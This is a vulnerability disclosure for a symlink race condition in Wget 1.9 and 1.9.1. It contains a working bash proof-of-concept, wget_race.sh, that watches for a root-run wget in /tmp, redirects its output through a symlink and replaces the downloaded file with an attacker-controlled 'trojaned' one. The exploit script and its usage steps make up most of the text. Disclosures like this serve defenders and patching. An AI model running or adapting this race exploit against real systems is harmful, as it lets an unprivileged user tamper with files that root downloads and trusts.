Tested software: Wget 1.9, Wget 1.9.1

Wget checks for the presence of a file with the same name of the one invoqued at the command line, if the file exists, then it saves the downloaded file with a different name. The problem is that Wget does not lock the file, and directly writes to it. So there's a window time where Wget is exposed to a symlink attack
(only on world writable directories)

This is the attack sequence:

1) Wget process starts
2) File checking (but not locking!)
              <--- attacker creates symlink
3) Wget writes on the wrong place


As a P.o.C. here you have a very simple script that exploits this flaw with an attack I have called: "file hijacking". 

1)Open a shell and execute wget_race.sh with user A.
2)Open another shell and with root user launch wget from /tmp:
wget http://www.kernel.org/pub/linux/kernel/v2.4/patch-2.4.26.bz2
3) Check the content of /tmp/patch-2.4.26.bz2

Smile :-)



--------------- wget_race.sh ------------------------
#!/bin/bash

rm -f salida.txt pid.txt *.wget /tmp/patch-2.4.26.bz2
echo "1">salida.txt
a=`cat salida.txt`
echo "Waiting for Wget execution..."

while [ "$a" == 1 ]
do
   ps auxw|grep wget|grep patch-2.4.26.bz2>>salida.txt
   a=`cat salida.txt`
done

echo "Process catched!"
pgrep -u root wget>pid.txt
ln -s /dev/null /tmp/patch-2.4.26.bz2
echo "/dev/null link created!"
echo "Waiting for downloading to finish..."

b=`pgrep -u root wget`
touch $b.wget
c=1
while [ "$c" == 1 ]
do
  if [ -e .wget ]
  then
    c=0
    echo "Downloading finished! Let's delete the original file, and put our trojaned file :-)"
    rm -f /tmp/patch-2.4.26.bz2
    echo "Surprise!">/tmp/patch-2.4.26.bz2
echo "Does it worked?"

    ls -la /tmp/patch-2.4.26.bz2

  else
  b=`pgrep -u root wget`
  touch $b.wget

  fi

done

-----------------------------------------------------

This flaw open a wide range of attack vectors.
Any program wich runs wget from a world writable directory is vulnerable.



Hugo Vazquez Caramés

hugo@infohacking.com